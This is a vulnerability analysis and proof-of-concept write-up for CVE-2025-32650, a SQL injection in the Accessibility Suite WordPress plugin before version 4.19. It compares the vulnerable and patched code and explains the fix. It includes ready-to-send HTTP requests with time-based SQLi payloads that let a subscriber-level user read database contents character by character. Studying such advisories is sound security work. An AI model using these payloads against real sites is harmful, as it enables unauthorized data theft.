Contents

CVE-2025-32650 Analysis & POC

The vulnerability occurs in the Accessibility Suite plugin for WordPress before version 4.19. This allows an attacker to directly interact with the database, potentially stealing sensitive information.

  • Local WordPress & Debugging: Local WordPress and Debugging.
  • Accessibility Suite: v4.18 (vulnerable) and v4.19 (patched)
  • Diff tool: meld or any other comparison tool to spot version differences

The plugin failed to properly typecast user input. Although it used prepare() to prevent SQLi, the implementation was incorrect, leaving the vulnerability exploitable.

Use any diff tool to compare the vulnerable and patched versions. A key difference appears in includes/classes/Helper.php.

static function save_false_positive($scan_id, $issue_id){
    // other logic
    if(! is_admin()) {
        return '';
    }
    // other logic
    $list = json_decode(
        $wpdb->get_results($wpdb->prepare("SELECT list FROM  $table_name WHERE scan_id = $scan_id"))[0]->list // phpcs:ignore
    );
}

The patched version passes $scan_id as a parameter to the query instead of directly concatenating it.

static function save_false_positive($scan_id, $issue_id){
    // other logic
    if(! is_admin()) {
        return '';
    }
    // other logic
    $scan_id = absint($scan_id); // Ensure scan_id is a positive integer
    
    if (!$scan_id) {
        return ["status" => "failed", "msg" => "Invalid scan ID"];
    }
    
    // Get list using properly prepared query
    $query = $wpdb->prepare(
        "SELECT list FROM %i WHERE scan_id = %d",
        $table_name,
        $scan_id
    );
    
    $result = $wpdb->get_results($query);
}
Patch Diff

Patch Diff

The vulnerability resides in the static function save_false_positive of class Helper in includes/classes/Helper.php. To locate where itโ€™s called, search for save_false_positive in the plugin directory.

Search for save_false_positive

Search Function Call

๐Ÿ‘‰ The save_false_positive function is called as a callback by the action hook wp_ajax_ONLINE_ADAv4/save_false_positive.

When a POST request is sent to /wp-admin/admin-ajax.php with action=ONLINE_ADAv4/save_false_positive, the callback is executed. It requires two POST parameters: issue_id and scan_id. If theyโ€™re missing, the app returns:

{"status":"failed","msg":"Did not receive the scan ID or the issue ID"}

The function checks if the user has admin privileges; if not, it returns an empty string.

if(! is_admin()) {
    return '';
}

Then, the parameters are directly concatenated into the vulnerable SQL query.

Send a POST request containing an SQLi payload. Since it only requires an authenticated user with access to /wp-admin/, we can use a subscriber role โ€” the lowest privilege in WordPress. Higher roles inherit lower privileges, so this confirms the CVEโ€™s description.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
...
Cookie: cookie_here

action=ONLINE_ADAv4/save_false_positive&issue_id=1&scan_id=1 UNION SELECT SLEEP(5)

The resulting SQL query becomes:

SELECT list FROM wp_oada_false_positives WHERE scan_id = 1 UNION SELECT SLEEP(5)
Time-based response

Time-based SQLi Response

๐Ÿ‘‰ The delayed response confirms that the SQLi payload works.

Alternative techniques for empty tables:

  • UNION โ€” works even when the base query returns no rows, but you must find the correct column count.

  • Subquery:

    • In WHERE clause: MySQL may optimize it away if results are predictable.
    • In FROM clause: The subquery executes first to create a temporary table, ensuring the injected query runs.
SQL Execution Order

SQL Execution Order Diagram

To fully dump data, we first confirm that SQLi allows reading at least one character from the database name.

Use this payload:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
...
Cookie: cookie_here

action=ONLINE_ADAv4/save_false_positive&issue_id=1&scan_id=1 UNION SELECT IF(SUBSTRING(SCHEMA(),1,1)=0x77, SLEEP(5), 1)

The query uses SUBSTRING() to extract the first character of the database name. If it equals 'w' (0x77 in hex), it triggers SLEEP(5).

Since scan_id is escaped, hex encoding ensures payload integrity.

๐Ÿ‘‰ Based on the delayed response โ€” the first character is indeed w.

The vulnerability CVE-2025-32650 in the Accessibility Suite WordPress plugin (before version 4.19) stems from improper use of $wpdb->prepare(), leading to a SQL Injection.

The official patch correctly uses $wpdb->prepare(), ensuring safe handling of user input.

Key takeaways:

  • Always use $wpdb->prepare() correctly when interacting with the WordPress database.
  • Keep plugins updated and perform regular security audits to prevent exploitation.

Related Content